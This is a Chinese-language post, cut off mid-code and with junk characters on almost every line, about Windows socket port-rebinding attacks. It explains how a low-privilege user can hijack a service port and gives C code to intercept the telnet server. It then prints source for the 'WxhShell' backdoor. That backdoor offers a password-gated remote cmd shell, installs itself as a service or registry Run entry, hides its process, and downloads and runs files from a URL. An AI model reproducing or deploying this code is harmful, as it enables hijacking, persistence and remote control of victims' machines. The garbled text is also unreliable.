在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
IeAi ' s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
G_#MXFWt y
m?uj4I{ saddr.sin_family = AF_INET;
drJUfsxV usw(]CnH saddr.sin_addr.s_addr = htonl(INADDR_ANY);
)BZ6QO`5n sY* qf= bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
~&D5RfK5f B.}j1Bb 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
zd=N. esd9N'.Q* 这意味着什么?意味着可以进行如下的攻击:
_opB,,G $49;\pBZl 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
#Eqx Eo; 6M[OEI5 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
s0'6r$xj SP4(yJy& 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
P&Wf.qr{: J
IE0O` 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
'jYKfq~_cJ nq\~`vH|Gd 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
rxOvYF vBV_aB1{ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
Ah;`0Hz; X.AE>fx*h 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
x??H%'rP ~BgNMO;| #include
PJAM_K; #include
K/$5SN1 #include
HMw}pp: #include
w$aejz`[ DWORD WINAPI ClientThread(LPVOID lpParam);
lr=quWDY int main()
!Y*O0_ {
7! ~)a WORD wVersionRequested;
u6
4{w, DWORD ret;
p+CK+m
WSADATA wsaData;
P}vk5o' BOOL val;
Ki(0s SOCKADDR_IN saddr;
8Rnq
&8A SOCKADDR_IN scaddr;
^2nH6,LPS int err;
juMHc$d17 SOCKET s;
b<BkI""b SOCKET sc;
dK]#.. int caddsize;
o`nJJ:Cxq- HANDLE mt;
,D' bIk DWORD tid;
0NXaAf:2Z wVersionRequested = MAKEWORD( 2, 2 );
=/19 -Y: err = WSAStartup( wVersionRequested, &wsaData );
UW&K\P if ( err != 0 ) {
vAtR\Vh printf("error!WSAStartup failed!\n");
=-!B4G$ return -1;
*rC%nmJwk! }
<<&SyP saddr.sin_family = AF_INET;
hmI>
7@& pEY zB; //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
+u3vKzD 3u'@anre saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
u+ 8wBb5! saddr.sin_port = htons(23);
a lyA#zao| if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
lN7YU-ygz {
64SRW8AH printf("error!socket failed!\n");
W\O.[7JP return -1;
wdRk+ }
T5aeO^x val = TRUE;
DS7Pioa86 //SO_REUSEADDR选项就是可以实现端口重绑定的
k!!d2y6 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
fjHd"!)3 {
gh%Q9Ni- printf("error!setsockopt failed!\n");
*s!T$oc return -1;
:Y4G^i }
L]=LY //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
B";Dj~y //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
avd`7eH2 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
cLIeo{H g?> if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
VKy3tW/_& {
nu6v@<<F> ret=GetLastError();
7+m.:~H3} printf("error!bind failed!\n");
kj`h{Wc[) return -1;
4iJ4g% ] }
-9(nsaV listen(s,2);
`12Y2W 9 while(1)
D`PA@t {
K# h7{RE caddsize = sizeof(scaddr);
RYM[{]4b5F //接受连接请求
/[|A(,N}{ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
<KZ J if(sc!=INVALID_SOCKET)
=@.5J'! {
2~@Cj@P] mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
df9$k0Fx if(mt==NULL)
=Ct$!uun {
2XV3f$, H printf("Thread Creat Failed!\n");
$lF\FC break;
VpB+|%@p }
*m&(h@l }
@Cl1G CloseHandle(mt);
{Yv5Z.L&( }
BSg3 closesocket(s);
j8?rMD~ WSACleanup();
yj
mNeZ return 0;
DC=XPn/V }
t,qz%J&a DWORD WINAPI ClientThread(LPVOID lpParam)
`YK#m4gc {
:Q>{Y SOCKET ss = (SOCKET)lpParam;
I(+%`{Wv SOCKET sc;
_8OSDW*D5t unsigned char buf[4096];
Pol
c. SOCKADDR_IN saddr;
7G23D long num;
n<MreKixE DWORD val;
sT>l ?L DWORD ret;
>\>!Q V1@ //如果是隐藏端口应用的话,可以在此处加一些判断
>>0c)uC|W //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
u]Dds;~"b saddr.sin_family = AF_INET;
yo#fJ` saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
eed!SmP saddr.sin_port = htons(23);
` MXGEJF if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
r#WAS2.TP {
CI@qT}Y_ printf("error!socket failed!\n");
gv9z`[erS return -1;
-\}Ix> }
xMo'SpVz: val = 100;
*@[+C~U if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
1'9YY")# {
oCuKmK8 ret = GetLastError();
Eb9{ return -1;
n;*W#c }
A{ a`%FAV if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
d# q8- {
A@JZK+WB} ret = GetLastError();
|BA<> WE return -1;
K_LwYO3 }
;.b^A if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
VseeU;q {
2f.4P]s`T printf("error!socket connect failed!\n");
- x]gp5 closesocket(sc);
Y,s@FGI2 closesocket(ss);
f`8mES'gc8 return -1;
"SN+ ^` }
VtJyE} while(1)
i{6wns?KMj {
D^\2a;[AxA //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
2V =bE- //如果是嗅探内容的话,可以再此处进行内容分析和记录
"3:TrM$|A
//如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
]$?\,` num = recv(ss,buf,4096,0);
f)!7/+9> if(num>0)
%R LGO& send(sc,buf,num,0);
P};GcV- else if(num==0)
uM('R;<^ break;
?FwjbG< num = recv(sc,buf,4096,0);
+
+G%~)S: if(num>0)
(Y$48@x send(ss,buf,num,0);
Shb"Jc_i else if(num==0)
RT+_e break;
5mB'\xGO2 }
9U~sRj=D closesocket(ss);
$|r
p5D6 closesocket(sc);
41jlfKiOm return 0 ;
2K$#U|Qi }
dNgjM
Q L\(" :Y2J7p[+ ==========================================================
sn.&|)?Fi L64cCP* 下边附上一个代码,,WXhSHELL
X"3Za[9j X3,+aL` ==========================================================
Ld3!2g2y7& sn?YD'>k #include "stdafx.h"
HrS WHvU|rJ #include <stdio.h>
\Yd
0oe82 #include <string.h>
p) ea1j>N #include <windows.h>
XbKNH> #include <winsock2.h>
Ba /^CS #include <winsvc.h>
&%`Y>\@f #include <urlmon.h>
/f)
#CR0$ x$Tf IFy #pragma comment (lib, "Ws2_32.lib")
=
~^
#pragma comment (lib, "urlmon.lib")
MJ0UZxnl 5 ]v]^Y'? #define MAX_USER 100 // 最大客户端连接数
;m cu(J #define BUF_SOCK 200 // sock buffer
h`b[c.% #define KEY_BUFF 255 // 输入 buffer
*]RCfHo\= a#4 'X* #define REBOOT 0 // 重启
#Do#e
{=+ #define SHUTDOWN 1 // 关机
<{UjO zaoC #define DEF_PORT 5000 // 监听端口
N"q C-h p7kH"j{xD #define REG_LEN 16 // 注册表键长度
*QT|J6ng #define SVC_LEN 80 // NT服务名长度
JOm6Zc BbdJR]N/!h // 从dll定义API
K]Onb{QY typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
;5wr5H3 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
&b7i> () typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
gaXKP1m^ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Y94/tjt WbP*kV{ // wxhshell配置信息
"~HV!(dRMC struct WSCFG {
duk:: |{F int ws_port; // 监听端口
bxA1fA; char ws_passstr[REG_LEN]; // 口令
'fkaeFzOl int ws_autoins; // 安装标记, 1=yes 0=no
?Ok@1 char ws_regname[REG_LEN]; // 注册表键名
|ZnRr char ws_svcname[REG_LEN]; // 服务名
Qo;#}%}^^ char ws_svcdisp[SVC_LEN]; // 服务显示名
hfuGCD6F` char ws_svcdesc[SVC_LEN]; // 服务描述信息
C5^eD^[c char ws_passmsg[SVC_LEN]; // 密码输入提示信息
~8
w(M int ws_downexe; // 下载执行标记, 1=yes 0=no
O#5ll2? char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
oz- k_9% char ws_filenam[SVC_LEN]; // 下载后保存的文件名
WgK |r~ mC}!;`$8p };
2og8VI /NDuAjp[@ // default Wxhshell configuration
p!~{<s] struct WSCFG wscfg={DEF_PORT,
'F[ C 4 "xuhuanlingzhe",
L!]~J?) 1,
ttK`*Ng "Wxhshell",
Jqt&TqX@s "Wxhshell",
,LHQ@/}A C "WxhShell Service",
&PAgab2$ "Wrsky Windows CmdShell Service",
&MlBpI "Please Input Your Password: ",
Q$(0Nx< 1,
-MqWcB9& "
http://www.wrsky.com/wxhshell.exe",
8uO@S*)0 "Wxhshell.exe"
M5Twulz/w };
b:iZ.I gAY%VFBP0 // 消息定义模块
@-ma_0cZQ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
joN}N }U char *msg_ws_prompt="\n\r? for help\n\r#>";
CY4_= char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
;Q]j"1c char *msg_ws_ext="\n\rExit.";
5w#*JK char *msg_ws_end="\n\rQuit.";
v0dFP0.;& char *msg_ws_boot="\n\rReboot...";
4P>tGO&*x char *msg_ws_poff="\n\rShutdown...";
G D$jP? char *msg_ws_down="\n\rSave to ";
{xC CUU $nOd4{s_ char *msg_ws_err="\n\rErr!";
#dLp<l) char *msg_ws_ok="\n\rOK!";
Qn7l-:`? Jb~ -)n2 char ExeFile[MAX_PATH];
Ur626} int nUser = 0;
G=8w9-Ww HANDLE handles[MAX_USER];
:);]E-ch int OsIsNt;
O^]I>A#d toipEp<ci SERVICE_STATUS serviceStatus;
O8+[)+6^ SERVICE_STATUS_HANDLE hServiceStatusHandle;
k:4?3zJI .'SXRrn&:C // 函数声明
/p
[l(H int Install(void);
6[9E^{(z int Uninstall(void);
fJCh int DownloadFile(char *sURL, SOCKET wsh);
|7Q8WjCQ{m int Boot(int flag);
wYf=(w\c void HideProc(void);
|zu>G9m int GetOsVer(void);
(%>Sln5hq int Wxhshell(SOCKET wsl);
8-5a*vV,> void TalkWithClient(void *cs);
%f;( int CmdShell(SOCKET sock);
Ar sMqb int StartFromService(void);
r1FE$R~C= int StartWxhshell(LPSTR lpCmdLine);
ucj )t7O Z"gllpDr$ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
<LW|m7 VOID WINAPI NTServiceHandler( DWORD fdwControl );
h6x+.}} | 4I x2GD // 数据结构和表定义
K74oRKv SERVICE_TABLE_ENTRY DispatchTable[] =
B>?Y("E {
.Qh8I+Q% {wscfg.ws_svcname, NTServiceMain},
xgR* j {NULL, NULL}
Z"?AaD[ };
J'O`3!Oy/ 3i(k6)H$4 // 自我安装
<nsl`C~6g0 int Install(void)
(?\ZN+V) {
zs"AYxr char svExeFile[MAX_PATH];
f
5i`B*/ HKEY key;
%FFw!eVi strcpy(svExeFile,ExeFile);
w=e,gNO %,,h )9 // 如果是win9x系统,修改注册表设为自启动
f9- |!]s if(!OsIsNt) {
W? UCo6<m if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
<(p1
j0_Q RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
#>'1oC{ RegCloseKey(key);
!P Gow if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
E2*"~gL^, RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
($(1KE RegCloseKey(key);
\S7OC return 0;
h.=B!wKK }
paBGJ~{= }
}2c}y7B,_ }
Br~%S?4"o else {
JNp`@`0V g[M@ // 如果是NT以上系统,安装为系统服务
bOz\-=au SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
,O~2
R if (schSCManager!=0)
,IJ Nuu\ {
^Js9E SC_HANDLE schService = CreateService
)ql?} (
Jj6kZK schSCManager,
(Z"Xp{u wscfg.ws_svcname,
aq5<Ks `r wscfg.ws_svcdisp,
O[L8(+Sn SERVICE_ALL_ACCESS,
iz^wBQ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
5ZKnxEW,( SERVICE_AUTO_START,
|(P;2q4> SERVICE_ERROR_NORMAL,
mW-@-5Wda svExeFile,
=hs@W)-O NULL,
`X^e}EGWu NULL,
&vF "I'V NULL,
m~U{ V9;* NULL,
;ZqFrHI M` NULL
0&nF Vsz );
P~qVr#eU if (schService!=0)
p 5o;Rvr {
O(~Vvoq CloseServiceHandle(schService);
9bNIaC*M CloseServiceHandle(schSCManager);
(KQt%] strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
oPbD9 strcat(svExeFile,wscfg.ws_svcname);
)ED[cYGx if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
h@DJ/&;u@ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
|@g1|OWd| RegCloseKey(key);
lhI;K4# return 0;
sR9F: }
~+np7 }
"QF083$ CloseServiceHandle(schSCManager);
&rd(q'Vi
}
#CS>A#Lk }
Ww(_EW J7_H.RPa return 1;
Xp~]kRm9 }
;gMh]$|" 7xc<vl#:q7 // 自我卸载
Xdq,
=; int Uninstall(void)
>" .qFn g {
~/U0S.C HKEY key;
dc>y7$2 itF+6wv~ if(!OsIsNt) {
?W
n(ciO if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
^8m+*t
RegDeleteValue(key,wscfg.ws_regname);
@,MdvR+a RegCloseKey(key);
/(V=Um^0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
qj6`nbZ{va RegDeleteValue(key,wscfg.ws_regname);
t4IJ%#22 RegCloseKey(key);
=vc5, return 0;
Rpk`fxAO }
`"H?nf0 }
Ds87#/Yfv }
mvgm o else {
RF)B4D-W `0^i
# SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
* jK))|% if (schSCManager!=0)
vs. uq {
@;6}xO2 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
cWc)sb if (schService!=0)
$P(nh'\ {
]CZLaID~
if(DeleteService(schService)!=0) {
vVYduvw CloseServiceHandle(schService);
+_eb*Z`5o CloseServiceHandle(schSCManager);
pNlisS return 0;
^JtHTLHL= }
5 DB>zou
CloseServiceHandle(schService);
WO-WoPO }
TyWy5J<
:+ CloseServiceHandle(schSCManager);
]uvbQ.l_t }
>t2b?(h/x }
4c=kT@=jX (@E#O$' return 1;
{{3H\
rR }
S7a6ntei C):d9OI? // 从指定url下载文件
zb/Xfu.)?6 int DownloadFile(char *sURL, SOCKET wsh)
@WHd(ka! {
5S]P#8 HRESULT hr;
`5-#M/J char seps[]= "/";
:
xZC7" char *token;
aELT"b,x char *file;
h!K2F~i{P char myURL[MAX_PATH];
['emP1g~ char myFILE[MAX_PATH];
a{*'pY(R0$ Z5Ihc%J^ strcpy(myURL,sURL);
_)E8XyzF token=strtok(myURL,seps);
qm=F6*@} while(token!=NULL)
0xUj#) {
@izi2ND file=token;
" B{0-H+ token=strtok(NULL,seps);
4p8jV*:@{ }
f*vk1dS:*3 mzB#O;3= GetCurrentDirectory(MAX_PATH,myFILE);
pqN[G=0 strcat(myFILE, "\\");
k6L373e#Q strcat(myFILE, file);
)[sO5X7'^ send(wsh,myFILE,strlen(myFILE),0);
{H;|G0tR send(wsh,"...",3,0);
t!SQLgA hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
E$tk1SVo if(hr==S_OK)
3Z:!o$ return 0;
htYrv5q=M else
-Y=c g; return 1;
d:pm|C|F $pfe2(8 }
$D s]\j* 8.Ef 5-m // 系统电源模块
?gwbg* int Boot(int flag)
m=\eL~h {
ev%t5NZ HANDLE hToken;
#}7m'F TOKEN_PRIVILEGES tkp;
HQ`nq~%&( +Z&&H'xD if(OsIsNt) {
z%3"d0 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
q>(u>z! LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
,beR:60) tkp.PrivilegeCount = 1;
c9TAV,/fF* tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
D2:a AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
*7;*@H*jd if(flag==REBOOT) {
J5p!-N`NS if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
,35:Srf| return 0;
mUyv+n, }
$v<hW
A]> else {
}t
D!xI; if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
8N*
-2/P& return 0;
5rA!VES T }
wu!_BCIy }
sQ:VrXwP else {
FR,#s^kF if(flag==REBOOT) {
6a]f&={E if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
oB06{/6 return 0;
0/P-> n~ }
bC4*w
O else {
QGv:h[b_ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
~q?"w:@;x return 0;
Be>c)90bO_ }
5f&{ !N }
_HHJw""j VWA -?%r return 1;
2PP-0
E }
BdB` Q`p}X&^a // win9x进程隐藏模块
5@>4)dk\ void HideProc(void)
}:9|*m<$t {
?sf2h:\N oj(A`[ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
D*T$ v
if ( hKernel != NULL )
wdcryejCkr {
h/0-Mrk;e pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
lmtQr5U ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
.A"T086 FreeLibrary(hKernel);
K~y9zF{ }
TaQ "G ),p]n return;
*fvI.cKiGP }
]i,Mq K jn& // 获取操作系统版本
oY2?W int GetOsVer(void)
IJ_'w[k {
Fe&n, OSVERSIONINFO winfo;
i5E:FS^!I winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
-4y)qGb*? GetVersionEx(&winfo);
HDSA]{:sl if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
ttbQergS return 1;
1YIux,2\ else
;!0.Kk
4 return 0;
s9_`Wrg? }
))CXjwLj; (ju
aDn) // 客户端句柄模块
Bgk~R.l int Wxhshell(SOCKET wsl)
>d27[% {
VO @
4A6 SOCKET wsh;
C:s^s struct sockaddr_in client;
9o_ g_q DWORD myID;
RQ*|+~H VeD+U~ d while(nUser<MAX_USER)
s;-78ejj7 {
l?@MUsg+ int nSize=sizeof(client);
2sd ) w wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
\sHy. { if(wsh==INVALID_SOCKET) return 1;
J:g<RZZ1 +B`'P9Zk@ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
=q"w2b& if(handles[nUser]==0)
MAwC\7n+X closesocket(wsh);
"LP,
TC else
h7de9Rt nUser++;
Wk\mgGn+ }
PuCwdTan_ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
'B:Z=0{>N L)kb (TH return 0;
so?pA@O }
v2M"b?Q Xb(CH#*{z // 关闭 socket
ueWR/ void CloseIt(SOCKET wsh)
R
"/xne {
.q5J^/kr closesocket(wsh);
m0xJ05Zx nUser--;
RsqRR`|X? ExitThread(0);
eD*?q7 }
45Nv_4s P3wU#qU // 客户端请求句柄
Cbgj@4H void TalkWithClient(void *cs)
u"`5 {
A0cM(w{7_ fbh6Ls/ SOCKET wsh=(SOCKET)cs;
7af?E)}v char pwd[SVC_LEN];
Y=P9:unG char cmd[KEY_BUFF];
Mv/IMO0rR
char chr[1];
GN:Ru|n int i,j;
s
jL*I 763E 6,7 while (nUser < MAX_USER) {
NqiB8hZ~ JwN}Jm if(wscfg.ws_passstr) {
#d}0}7ue if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
4o1Q7 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
:0
W6uFNOU //ZeroMemory(pwd,KEY_BUFF);
tx^92R2/
i=0;
+Od1)_'\D3 while(i<SVC_LEN) {
*A~($ZtL K)<Wm,tON // 设置超时
[n!$D(|"!V fd_set FdRead;
9nT?|n]> struct timeval TimeOut;
6V'wQqJ FD_ZERO(&FdRead);
QRsqPh&- FD_SET(wsh,&FdRead);
;Ri 3#*a= TimeOut.tv_sec=8;
~v.jZ/h TimeOut.tv_usec=0;
~mN g[] int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
?ada>"~GR_ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
@+}rEe_( JfI aOhKs] if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
(\Rwf}gyR pwd
=chr[0]; C/mg46
v2W
if(chr[0]==0xd || chr[0]==0xa) { @MNl*~'$.[
pwd=0; I#i?**
break; ggerh#
} [GtcaX{Zz
i++; +\+Uz!YS
} th5,HO~
*e(:["v
// 如果是非法用户,关闭 socket |$YyjYK
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); BhqhyX\D&y
} sFbfFUd
$a`J(I
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); z[WC7hvU
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fm3(70F\
xCR;
K]!
while(1) { ]XmQ]Yit
whV&qe;sw
ZeroMemory(cmd,KEY_BUFF); gsW=3m&`
Z6 t E{/
// 自动支持客户端 telnet标准 ?RZq =5Um&
j=0; k%{ l4
while(j<KEY_BUFF) { /6Y0q9
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5gO /-Zj
cmd[j]=chr[0]; %l Q[dXp
if(chr[0]==0xa || chr[0]==0xd) { J$1j-\KS
cmd[j]=0; N YCj; ,V
break; 5){tBK|
} zx
ct(
j++; A;odVaH7
} x}v1X`6b
l*$WX=h6n
// 下载文件 ?g5iok {
if(strstr(cmd,"http://")) { 4BHtR017r
send(wsh,msg_ws_down,strlen(msg_ws_down),0); a`DWpc~
if(DownloadFile(cmd,wsh)) L30>|g
send(wsh,msg_ws_err,strlen(msg_ws_err),0); uZ@-e|qto
else ksTzXG8
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .6\T`6H=a
} 7*+Km'=M
else { YkSuwx@5_q
ZH\0=l)
switch(cmd[0]) { @/9>=#4c
- oU@D
// 帮助 Ynvj;
case '?': { [6O04"6K
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @XeEpDn]
break; DNmb[
} $"/UK3|d
// 安装 DLU[<!C
case 'i': { VK9Q?nu
if(Install()) JRD8Lz]Q3
send(wsh,msg_ws_err,strlen(msg_ws_err),0); UMT\Q6p
else :lNg:r$4
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *U
M!(
break; >H$;Z$o*(
} o1e4.-xI
// 卸载 3 sl=>;-
case 'r': { kmIoJH5
if(Uninstall()) {nTG~d
send(wsh,msg_ws_err,strlen(msg_ws_err),0); l(gJLjTH%
else 3QIdN
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -RGPtD@
break; FQ U\0<5
} g`kY]lu
// 显示 wxhshell 所在路径 ZOp^`c9~
case 'p': { oL#xDG
char svExeFile[MAX_PATH]; itw{;j
strcpy(svExeFile,"\n\r"); )^&,Dj
strcat(svExeFile,ExeFile); Og=[4?Kpk
send(wsh,svExeFile,strlen(svExeFile),0); ~eHRlXL'
break; 2@sr:,\1
} K|US~Hgv
// 重启 #hpIyy%n
case 'b': { F#B5sLNb
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); sA3UeTf
if(Boot(REBOOT)) #^Ys{
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^/k,
else { z9 O~W5-U
closesocket(wsh);
O)O Uy
ExitThread(0); 21ViHV
} 7 %3<~'v[
break; 8qN"3 Et
} V>B'+b+<
// 关机 m*`cuSU|o
case 'd': { 4\\.n
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); i =-8@
if(Boot(SHUTDOWN)) eI0F!Yon
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `%oIRuYG]j
else { =rEA:Q`~w
closesocket(wsh); @^'$r&M
ExitThread(0); wDMjk2YN
} Ssw&'B|o
break; +tIz[+u
} kffZElV
// 获取shell BY$[ g13
case 's': { <FQFv
IKg
CmdShell(wsh); jP+ pA e
closesocket(wsh); 2)=la%Nx
ExitThread(0); _|X7
n~
break; zi
}(^~Fe
} iTu0T!4F
// 退出 sXiv,
case 'x': { +1/b^Ac
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); tfA}`*$s
CloseIt(wsh); Pr`s0J%m
break; K^aj@2K{
} &L%Jy #=
// 离开 (8G$(MK
case 'q': { k1#5nYN.
send(wsh,msg_ws_end,strlen(msg_ws_end),0); wd wp9 r
closesocket(wsh); ;%WdvnW
WSACleanup(); 'B`#:tX^N
exit(1); g_vm&~U/'
break; @cIgxp
} L,$3Yj
} R*bmu
} DvYwCgLR
7}%H2$Do
// 提示信息 W$'0Dc
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); krjN7&
} I+",b4
} ,Kw5Ro`I:
MwAJ(
return; .YR8v1Cp
} W#{la`#Bu
9B=1Yr[
// shell模块句柄 OKAkl
int CmdShell(SOCKET sock) c`jDW S
{ 1TZPef^y
STARTUPINFO si; :Q7mV%%
ZeroMemory(&si,sizeof(si)); q@ZlJ3%l,
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'zxoRc-b@N
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; k>5 O`Y:
PROCESS_INFORMATION ProcessInfo; J +q|$K6
char cmdline[]="cmd"; >DP:GcTG
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ehT%s+aUw
return 0; v{y{sA
} wf9z"B
S4bBafj[I
// 自身启动模式 y@;%Uv&
int StartFromService(void) MhxDV d
{ "U8S81'
typedef struct BJ5}GX!
{ *aRX \TnN
DWORD ExitStatus; W&C-/O,m
DWORD PebBaseAddress; 0+ `Pg
DWORD AffinityMask; h}&b+1{X
DWORD BasePriority; ]tY:,Mfs
